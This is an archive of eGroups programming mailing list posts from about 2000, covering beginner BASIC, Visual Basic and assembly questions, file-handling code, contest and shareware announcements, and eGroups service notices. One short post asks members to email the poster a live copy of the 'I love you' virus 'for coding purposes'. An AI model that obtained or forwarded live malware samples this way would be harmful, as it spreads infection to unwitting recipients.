Hello Everybody
I'm a new learner in Programming
Related with my final test, I'd like to know how to
make a program using camera as a media to take someone
picture directly after snapshot process and save it to
the file or table (database)
with Visual Basic 6 or Visual FoxPro 6?
What Is the requirements Hardware Spesification to do
this? And do I have to add some new software to
support my VB 6.0 Accessibility to do this Camera
Programming?
Is there any special camera for PC to support this
Programming ?
I hope all of your kindness and information sharing to
solve my problem. Thanks before...
Sincerely Yours,
Sukma Tri Cahyono
sukma_tc@...es_tee_cee@...
__________________________________________________
__________________________________________________
Do You Yahoo!?
Get email at your own domain with Yahoo! Mail.
http://personal.mail.yahoo.com/
there is no such thing as "NULL" in QBasic...so you must assign a value(for instance, -1) as NULL)
so if you want the keyboard to gain the input and respond accordingly:
INPUT "Enter a string here:"; String$ ' waits for the user to write something
SELECT CASE String$ ' what did they enter?
CASE "a": ' do something blah blah
CASE "b": ' do something else
CASE "": ' this is the value if the user just hits <enter>
CASE ELSE: ' if the user entered something other than those things.
END SELECT
hello
I am taking a class in BASIC programming through my local
university extension center. I am trying to write a program that
makes a keyboard act like a cash register.
We are working on data statements. I have two questions.
1. What is the syntax for setting a data terminator for NULL in
QBASIC?
I tried choices = "", but that didn't work. I got a TYPE MISMATCH
message.
2. If I want to add different choices together like choices="a" and
Choices ="b" howd is that done?
thanks
MEH
----- Original Message -----
From: THEMAZEMAN@...
To: fdb-owner@egroups.com
Sent: Sunday, December 17, 2000 10:08 PM
Subject: New Mind Sports Organisation Programming Contest started today
I thought that you might want to share this notice with the members of your
egroup at egroups.com. I did not send it to the group address, just your
address. If you would like this information shared with your "egroup",
please
send it. We sent it only to you so that we wouldn't accidentally spam your
group (if such messages as ours might be against your rules).
Here's the contest notice:
For those of you who are interested in other programming contests, the
December Programming Contest, sponsored by the Mind Sports Organisation in
London, started earlier today. The details are now posted at:
http://msoworld.com/programming.html
The contest started today at 17:00 GMT (London).
This month, as an experiment, we have extended the entry deadline. Entries
will be accepted for a full three weeks. The contest will end 21 days after
the contest started, at 17:00 Greenwich Mean Time on January 7, 2001, just a
few days into the new millennium.
If you like this extended entry period, please express your pleasure by
entering our contest. Also, please urge your programmer friends to do the
same thing. If we see a significant increase in participation with this
extended entry period, we can probably talk the people in London into making
this a semi-permanent change to the Mind Sports Organisation programming
contest, and if we really get a large increase in participation, maybe we
can
talk them into hosting a competition at the next Mind Sports Olympiad.
John Knoderer
Programming@...
John Knoderer, webmaster || Deputy Webmaster
www.MAZES.com || www.msoworld.com
www.DriversLicense.com || Mind Sports Olympiad
www.GodLovesEveryone.org || 18-27 Aug 2001, London
Hello,
I have created a programming language that makes it incredibly simple
for beginners to start programming. It's called Cheetah v2.0, and it
is fast, easy, and effective.
You can create a program in two lines of code! You can make simple
games, write a webpage, etc. It's what complete newbies have been
waiting for!
It is also priced reasonably. You can evaluate it as long as you
want, but if you pay the $5.00 registration fee, you will be able to:
1. Save and open programs.
2. Wav Preview, Bitmap Preview, and Sprite Creator Tools are unlocked.
3. Use the Cheetah compiler so you can distribute your program as an
exe file.
4. Free updates.
5. When a new version comes out you will get that for free also.
I guarantee you will find this the easiest way to write a simple
program.
I would like to emphasize that Cheetah v2.0 is for beginners who want
to start programming fast. However I have received e-mails even from
advanced programmers who are using Cheetah programs with their C++
programs.
To download Cheetah v2.0 go to:
http://www.angelfire.com/ga3/wattsware/Cheetah.zip
You can also go to the Wattsware website at:
http://www.wattsware.com
Last of all, you can join the Wattsware egroup where we discuss
Cheetah v2.0, and all of our other products at:
http://www.egroups.com/group/wattsware
I hope you enjoy using Cheetah v2.0! =)
Brandon Watts
wattsware.com
----- Original Message -----
From: "The Yahoo! Groups Team" <support@egroups.com>
To: <ferialb@...>
Sent: Saturday, December 09, 2000 6:42 AM
Subject: Important eGroups Member News
> Dear eGroups Member,
>
> We have exciting news to share with you. We want you to be among the
> first to know that eGroups and Yahoo! Clubs will be merging. The new
> service will be called Yahoo! Groups. We expect the service to launch
> early in the new year.
>
> WHAT'S HAPPENING WITH EGROUPS?
>
> Don't worry, all eGroups email and web addresses will continue to
> work, all data and event ownership will be maintained, and your
> entire group membership will carry over.
>
> Everything you love about eGroups will still be around. Yahoo! Groups
> will continue to be a free service, and all the main features you use
> now will continue to be a part of the new Groups service. We'll begin
> to internationalize Yahoo! Groups after we've launched the service in
> the United States. In the interim, you will be able to use the
> international versions of eGroups.
>
> WHAT'S NEW?
>
> Yahoo! Groups will have lots of new features and even better
> customization. Upon launch, you will be able to:
>
> * Chat with other group members using our improved Yahoo! Chat.
> * Add a splash of color to your group, or a main page photo, all
> without knowing HTML.
> * See when group members are online and communicate with them in real
> time using Yahoo! Messenger.
> * Reach a larger audience. You will have the entire Yahoo! Network at
> your doorstep.
>
> And much, much more to come!
>
> The best part -- you won't have to do anything to convert your group.
> This will happen automatically. All you have to do to access the
> wide array of web functionality is merge your current eGroups
> account with a Yahoo! ID when the new service launches. You don't
> need to do anything now and there will be a very easy-to-use wizard
> to help you do this when the time comes. NOTE: email-only users will
> not need a Yahoo ID.
>
> For a detailed FAQ on merger topics, please visit:
>
> http://help.yahoo.com/help/us/groups/info
>
> On behalf of everyone here at Yahoo Groups, thanks for being a member
> of our service.
>
>
> Sincerely,
>
> The Yahoo! Groups team
>
> You are receiving this because you are subscribed to
> egroups-member-news@egroups.com
>
> To remove yourself from further mailings, just reply to this message.
Hi,
I want to write a routine that will cause a specified milliseconds of
delay on any x86 based machine, as we can do in TC/BC. The problem is
that how could i identify the processor and GUARANTEE the same amount of
delay. I know even then the delay will not be the same but there will be
less difference
I have to use it in my project which is a modem communication program.
Currently i'm using the attached code. it causes my 333 MHz PII to cause
half of the specified delay. I wrote the first code by timings
calculating timings, but that ended in a blink. Here is the code:
; Delay using nop
Delay macro time
Local L1,L2
push ax
push cx
mov cx,time
L1:
mov ax, 40000
L2:
nop
nop
nop
nop
dec ax
if_ax },0,L2
loop L1
pop cx
pop ax
endm
--
Ovais.
********************
A world without walls needs
neither windows nor gates
Hi All,
I sent 150 new files to my home page. also I have created new address
for my files:
http://www.internettrash.com/users/fdb (main page - no frames)
http://fdb.ipfox.com/ (main page - frames)
http://tutorials.ipfox.com/ (Tutorials - frames)
http://basic.ipfox.com/ (Basic Programming language - frames)
http://clanguage.ipfox.com/ (C Programming language - frames)
http://assembly.ipfox.com/ (Assembly Programming language - frames)
http://delphipascal.ipfox.com/ (Pascal & Delphi Programming language -
frames)
If you like to put your files,programs,documents,tutorials or etc. to
my page please mail me. It is a great pleasure for me to see your
files in my page. Also if you know good urls related to programming
please send them to me and I will add them in the links section then
others can use those urls too. I'm waiting for your comments and
suggestions. Please tell me your idea about my home page. I'm new
in this field and I need your idea.
Yours,
Farzad Badili (FDB)
mailto:fdb@...http://www.fdb.ipfox.com/
Has anyone still left the I love you virus on their PC? If so, please forward
it to me (for coding purposes)
Yours,
Farzad Badili (FDB)
mailto:fdb@...http://www.fdb.ipfox.com/
>Dear eGroups Moderators
>
>The eGroups site will be off-line from 6pm Friday March 31st until 6am
>Saturday April 1st Pacific Standard Time for scheduled maintenance.
>
>We apologize for any inconvenience this may cause you or subscribers. Please
>notify your subscribers of this scheduled downtime.
>
>During this outage, the eGroups website will be unavailable. Mail will not be
>delivered during some of the outage. Any mail received during this downtime
>will be delivered Saturday morning.
>
>Thank you in advance for your patience.
>
>The eGroups Team
FD>Hi,
FD>I was wondering if anyone has used chipmunk basic. I want to know how
FD>to compile the program to a standalone .exe file. The docs mention it
FD>but don't go into any detail...
FD>Thanks,
FD>Brian
Hi Brian,
I dont know anything about chipmunk basic, but if you want to compile
your program to a stand alone exe file you need BC.EXE and LINK.EXE +
library files. BC.EXE will change your program to .OBJ and LINK.EXE
will change the .OBJ file to an .EXE file.
BC.EXE 127,987 Bytes
LINK.EXE 142,015
QBX.LIB 2,587
BCL71AFR.LIB 282,281
BCL71ANR.LIB 269,705
BCL71EFR.LIB 279,929
BCL71ENR.LIB 260,691
You may need BC.EXE and LINK.EXE and one of those BCL71XXX.LIB files,
if you are using qbx.qlb you may need qbx.lib to create an exe file.
I use PDS 7.1 and I think this is the last and best compiler for basic
language.
Yours,
Farzad Badili (FDB)
mailto:fdb@...http://www.fdb.ipfox.com/
Hi,
I was wondering if anyone has used chipmunk basic. I want to know how
to compile the program to a standalone .exe file. The docs mention it
but don't go into any detail...
Thanks,
Brian
Hello all!
I would like to ask the help of the list. I will be using Chipmunk
Basic for this project, but any advice for QBasic will be just as
helpful.
I am helping a friend create a quiz game and I am trying to write a
program to create a data.dat file that holds an array of data in a
structured format. The program will be on CD, so I can't create
temporary files to manipulate it.
the data file format needs to be similar to this:
Line_01, Question, Answer_1, Answer_2, Answer_3, Answer_4, Correct_Ans
Line_02, Question, Answer_1, Answer_2, Answer_3, Answer_4, Correct_Ans
Line_03, Question, Answer_1, Answer_2, Answer_3, Answer_4, Correct_Ans
We want to be able to create a data file of the above format, and
access each line seperately so that we can randomly grab the questions
out of the file IE:each line independant of the others.
I have made a program that works(attached at the end of this email),
almost, but there a few things I need to know..
1) how can I access each line seperately?
2) how can I make the array without specifying the size of the string
in the TYPE statement?
3) how can I put each different entry on a new line?
4) how do I retrieve the data fom the file?
5) Can I mix STRING and INTEGER variables in the type statement, and if
so, how?
Thank you,
Brian
here is my program so far...
----------------------------------------
TYPE GameDataType
Question AS STRING * 10
Answer1 AS STRING * 10
Answer2 AS STRING * 10
Answer3 AS STRING * 10
Answer4 AS STRING * 10
Solution AS STRING * 1
END TYPE
DIM FileEntry AS GameDataType
DIM FileGot AS GameDataType
OPEN "a:\psxdat.dat" FOR RANDOM AS #1 LEN = LEN(FileEntry)
I = 0
DO
I = I + 1
CLS
INPUT "Enter the question : ", FileEntry.Question$
INPUT "Enter the 1st answer : ", FileEntry.Answer1$
INPUT "Enter the 2nd answer : ", FileEntry.Answer2$
INPUT "Enter the 3rd answer : ", FileEntry.Answer3$
INPUT "Enter the 4th answer : ", FileEntry.Answer4$
INPUT "Enter the Correct Button - O,X,C,S : ", FileEntry.Solution$
INPUT "-->More (y/n)? ", Resp$
PUT 1, I, FileEntry
LOOP UNTIL UCASE$(MID$(Resp$, 1, 1)) = "N"
PRINT I; " records written."
CLOSE #1
END
----------------------------------------------------------
I am currently doing a software engineering project on CASE tools and I
would appreciate it greatly if someone off the list could find their way to
send m som examples of communication diagrams
Thankyou
Shaun Layland
Hi All,
I add 170 new files to my home page. You can find a lot of new documents
about file formats in the tutorial section. and you can find lots of new
programs in the other sections.
Please visit:
http://fdbadili.cjb.net/ (frames)
or
http://fdbadili.da.ru/ (frames)
or
http://fdb.ipfox.com/ (frames)
or
htpp://www.internettrash.com/users/fdb/ (NO frames)
Section Total
--------- -------
Tutorial : 122
Basic : 106
Pascal : 35
Assembly : 25
C : 16
-----------------
Total files:304
I hope you find your favorite files in my page and I'm waiting for your
suggestions and feedbacks to improve my page. If you want to submit your
files in my page please send them to me:
mailto:fdb@...
or
mailto:ferilab@...
I can receive attachments.
Also I wish to thank MURAT and Diskman for their kind helps.
Best Wishes,
Farzad Badili (FDB)
mailto:ferialb@...
to: IN:QBASIC@...
cc: IN:fdb@egroups.com
Does any one know a good site that has tools for the ST63 processor
i have plenty of sites that cover the ST62 series micro but not the ST63
micro.
If you do could you email me directly at Norman.Lante@...
Thanks
FD>Hi
FD>Could any body forward a assembler program that displays jpg or bmps.
FD>I need an easy to unber stand version.
FD>Regards Mike
It's the second program.
FD>Hi
FD>Could any body forward a assembler program that displays jpg or bmps.
FD>I need an easy to unber stand version.
FD>Regards Mike
Hi Mike,
I have 2 basic programs for displaying the jpg files. you can read them
and change them to asm source. for more information you can go to
www.wotsit.org or you can go to www.simtel.net and search for jpg.
I'll attach the files to this mail and the next mail.
Yours,
Farzad Badili (FDB)
mailto:ferialb@...